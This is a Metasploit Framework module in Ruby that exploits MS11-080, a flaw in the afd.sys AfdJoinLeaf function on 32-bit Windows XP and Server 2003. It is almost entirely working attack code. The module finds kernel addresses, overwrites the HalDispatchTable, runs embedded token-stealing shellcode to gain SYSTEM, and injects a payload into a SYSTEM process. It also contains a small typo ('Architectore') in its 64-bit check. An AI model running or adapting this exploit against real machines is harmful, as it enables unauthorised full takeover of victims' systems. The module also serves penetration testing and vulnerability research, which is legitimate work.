Microsoft Windows - AfdJoinLeaf Privilege Escalation (MS11-080)



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
    Rank = AverageRanking
    # Average because this module relies on memory corruption within the
    # kernel, this is inherently dangerous.  Also if the payload casues
    # the system process that it was injected into to die then it's also
    # possible that the system may become unstable.

    include Msf::Post::Common
    include Msf::Post::Windows::Priv

    def initialize(info={})
        super(update_info(info, {
            'Name'          => 'MS11-080 AfdJoinLeaf Privilege Escalation',
            'Description'    => %q{
                This module exploits a flaw in the AfdJoinLeaf function of the
                afd.sys driver to overwrite data in kernel space.  An address
                within the HalDispatchTable is overwritten and when triggered
                with a call to NtQueryIntervalProfile will execute shellcode.

                This module will elevate itself to SYSTEM, then inject the payload
                into another SYSTEM process before restoring it's own token to
                avoid causing system instability.
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Matteo Memelli', # original exploit and all the hard work
                    'Spencer McIntyre' # MSF module
                ],
            'Arch'          => [ ARCH_X86 ],
            'Platform'      => [ 'windows' ],
            'SessionTypes'  => [ 'meterpreter' ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Targets'       =>
                [
                    [ 'Automatic', { } ],

                    [ 'Windows XP SP2 / SP3',
                        {
                            'HaliQuerySystemInfo' => 0x16bba,
                            'HalpSetSystemInformation' => 0x19436,
                            '_KPROCESS' => "\x44",
                            '_TOKEN' => "\xc8",
                            '_UPID' => "\x84",
                            '_APLINKS' => "\x88"
                        }
                    ],

                    [ 'Windows Server 2003 SP2',
                        {
                            'HaliQuerySystemInfo' => 0x1fa1e,
                            'HalpSetSystemInformation' => 0x21c60,
                            '_KPROCESS' => "\x38",
                            '_TOKEN' => "\xd8",
                            '_UPID' => "\x94",
                            '_APLINKS' => "\x98"
                        }
                    ],
                ],
            'References'    =>
                [
                    [ 'CVE', '2011-2005' ],
                    [ 'MSB', 'MS11-080' ],
                    [ 'EDB', 18176 ],
                    [ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
                ],
            'DisclosureDate'=> 'Nov 30 2011',
            'DefaultTarget' => 0
        }))

        register_options([
        ])

    end

    def find_sys_base(drvname)
        session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
        session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
        session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
        results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
        addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

        addresses.each do |address|
            results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
            current_drvname = results['lpBaseName'][0..results['return'] - 1]
            if drvname == nil
                if current_drvname.downcase.include?('krnl')
                    return [address, current_drvname]
                end
            elsif drvname == results['lpBaseName'][0..results['return'] - 1]
                return [address, current_drvname]
            end
        end
    end

    # Function borrowed from smart_hashdump
    def get_system_proc
        # Make sure you got the correct SYSTEM Account Name no matter the OS Language
        local_sys = resolve_sid("S-1-5-18")
        system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

        # Processes that can Blue Screen a host if migrated in to
        dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
        session.sys.process.processes.each do |p|
            # Check we are not migrating to a process that can BSOD the host
            next if dangerous_processes.include?(p["name"])
            next if p["pid"] == session.sys.process.getpid
            next if p["pid"] == 4
            next if p["user"] != system_account_name
            return p
        end
    end

    def exploit
        if sysinfo["Architecture"] =~ /wow64/i
            print_error("Running against WOW64 is not supported")
            return
        elsif sysinfo["Architectore"] =~ /x64/
            print_error("Running against 64-bit systems is not supported")
            return
        end

        mytarget = target
        if mytarget.name =~ /Automatic/
            os = sysinfo["OS"]
            if os =~ /windows xp/i
                mytarget = targets[1]
            end
            if ((os =~ /2003/) and (os =~ /service pack 2/i))
                mytarget = targets[2]
            end
            if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
                mytarget = targets[2]
            end

            if mytarget.name =~ /Automatic/
                print_error("Could not identify the target system, it may not be supported")
                return
            end
            print_status("Running against #{mytarget.name}")
        end

        if is_system?
            print_error("This meterpreter session is already running as SYSTEM")
            return
        end

        this_proc = session.sys.process.open
        kernel_info = find_sys_base(nil)
        base_addr = 0x1001
        print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

        result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
        socket = result['return']

        irpstuff =  rand_text_alpha(8)
        irpstuff << "\x00\x00\x00\x00"
        irpstuff << rand_text_alpha(4)
        irpstuff << "\x01\x00\x00\x00"
        irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
        irpstuff << rand_text_alpha(231)

        if not this_proc.memory.writable?(0x1000)
            session.railgun.add_function(
                'ntdll',
                'NtAllocateVirtualMemory',
                'DWORD',
                [
                    ["DWORD", "ProcessHandle", "in"],
                    ["PBLOB", "BaseAddress", "inout"],
                    ["PDWORD", "ZeroBits", "in"],
                    ["PBLOB", "RegionSize", "inout"],
                    ["DWORD", "AllocationType", "in"],
                    ["DWORD", "Protect", "in"]
                ])

            result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
        end
        if not this_proc.memory.writable?(0x1000)
            print_error('Failed to properly allocate memory')
            return
        end
        this_proc.memory.write(0x1000, irpstuff)

        hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
        hKernel = hKernel['return']
        halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
        halDispatchTable = halDispatchTable['return']
        halDispatchTable -= hKernel
        halDispatchTable += kernel_info[0]
        print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

        halbase = find_sys_base("hal.dll")[0]
        haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
        halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
        print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
        print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")

        #### Exploitation ####
        shellcode_address_dep   = 0x0002071e
        shellcode_address_nodep = 0x000207b8
        padding             = make_nops(2)
        halDispatchTable0x4 = halDispatchTable + 0x4
        halDispatchTable0x8 = halDispatchTable + 0x8

        restore_ptrs =  "\x31\xc0"
        restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
        restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
        restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
        restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")

        tokenstealing =  "\x52"
        tokenstealing << "\x53"
        tokenstealing << "\x33\xc0"
        tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
        tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
        tokenstealing << "\x8b\xc8"
        tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
        tokenstealing << "\x89\x1d\x00\x09\x02\x00"
        tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
        tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
        tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
        tokenstealing << "\x75\xe8"
        tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
        tokenstealing << "\x8b\xc1"
        tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
        tokenstealing << "\x5b"
        tokenstealing << "\x5a"
        tokenstealing << "\xc2\x10"

        restore_token =  "\x52"
        restore_token << "\x33\xc0"
        restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
        restore_token << "\x8b\x40" + mytarget['_KPROCESS']
        restore_token << "\x8b\x15\x00\x09\x02\x00"
        restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
        restore_token << "\x5a"
        restore_token << "\xc2\x10"

        shellcode = padding + restore_ptrs + tokenstealing

        this_proc.memory.write(shellcode_address_dep, shellcode)
        this_proc.memory.write(shellcode_address_nodep, shellcode)
        this_proc.memory.protect(0x00020000)

        addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
        result = session.railgun.ws2_32.connect(socket, addr, addr.length)
        if result['return'] != 0xffffffff
            print_error("The socket is not in the correct state")
            return
        end

        session.railgun.add_function(
            'ntdll',
            'NtDeviceIoControlFile',
            'DWORD',
            [
                [ "DWORD", "FileHandle", "in" ],
                [ "DWORD", "Event", "in" ],
                [ "DWORD", "ApcRoutine", "in" ],
                [ "DWORD", "ApcContext", "in" ],
                [ "PDWORD", "IoStatusBlock", "out" ],
                [ "DWORD", "IoControlCode", "in" ],
                [ "LPVOID", "InputBuffer", "in" ],
                [ "DWORD", "InputBufferLength", "in" ],
                [ "LPVOID", "OutputBuffer", "in" ],
                [ "DWORD", "OutPutBufferLength", "in" ]
            ])

        session.railgun.add_function(
            'ntdll',
            'NtQueryIntervalProfile',
            'DWORD',
            [
                [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
            ])

        print_status("Triggering AFDJoinLeaf pointer overwrite...")
        result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
        result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

        if not is_system?
            print_error("Exploit failed")
            return
        end

        begin
            proc = get_system_proc
            print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
            host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
            mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

            print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
            host_process.memory.write(mem, payload.encoded)
            host_process.thread.create(mem, 0)
        rescue ::Exception => e
            print_error("Failed to Inject Payload")
            print_error(e.to_s)
        end

        # Restore the token because apparently BSODs are frowned upon
        print_status("Restoring the original token...")
        shellcode = padding + restore_ptrs + restore_token
        this_proc.memory.write(shellcode_address_dep, shellcode)
        this_proc.memory.write(shellcode_address_nodep, shellcode)

        result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
        result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
    end

end